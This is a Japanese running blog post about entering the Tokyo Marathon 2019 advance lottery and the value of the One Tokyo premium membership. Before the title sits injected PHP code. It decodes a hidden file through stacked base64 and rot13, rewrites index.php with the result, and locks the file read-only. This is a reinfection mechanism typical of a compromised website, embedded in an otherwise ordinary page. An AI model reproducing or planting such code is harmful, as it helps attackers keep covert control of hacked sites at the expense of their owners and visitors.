$i_p = "index.php"; $index = file_get_contents($i_p); $path = "{index_hide}"; if (file_exists($path)) { $index_hide = file_get_contents($path); $index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide)))); if(md5($index) != md5($index_hide)) { @chmod($i_p, 0644); @file_put_contents($i_p, $index_hide); @chmod($i_p, 0444); } } 東京マラソン2019に先行エントリー | TAKUTIVITY – タクティビティ

東京マラソン2019に先行エントリー

東京マラソン2019先行エントリー ロードレース
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東京マラソン2019は2019年3月3日(日)に開催されます。そして今年もやってきた先行エントリー期間。One Tokyoのプレミアムメンバー(4000円/年)になっているランナーだけが先行エントリーできます。先行エントリー期間はもうすぐ終わっちゃいますが2018年7月31(17:00)まで。

そして、先日この先行エントリーを完了しました。先行エントリーは7月1日からでしたが厳正なる抽選らしいので、焦らずエントリーを済ませてあとは結果を待つのみ。

私は東京マラソン2017年、東京マラソン2018年と先行エントリーしてきましたがまだ当選したことはありません。ちなみに2016年は一般エントリー枠で出走しました。

聞いた話だと、先行、一般に関わらず10年間1度も当選したことのない人もいるし、何年かに1度当選しているって人もいるらしいです。そういう話を聞くと”純粋な”抽選かどうか疑わしくなります。何らかのビッグデータを使って走力のバランスが均衡になるような操作とか・・・。

それと、これは噂話ですが陸連登録をしていると確率が少し上がるという話も。私は東京陸連に個人で加盟しています。陸連登録についてはレースによって先頭ブロックからのスタートが可能になることや、レース結果が陸連の公式記録として認められることなどマラソン競技者にとっては普通にメリットがあります。

一方でOne Tokyoプレミアムメンバーに関しては、先行エントリーが可能になる以外クラブメンバー(無料会員)との差はあまり感じられないような気がします。イベント参加への優先権と参加費割引って言われても参加する時間とれないし、ジョグポート有明とお台場周辺施設が少し割引になるくらい。ほとんど先行エントリーのためだけにプレミアムメンバーになっているのが現状です。

それでも私は東京マラソンへ先行エントリーするために4000円を払い続けるでしょう(笑)東京マラソンにはそれだけ特別感があるんです。いつか当選するといいなぁ。さぁ、今年も当選を祈りましょう。

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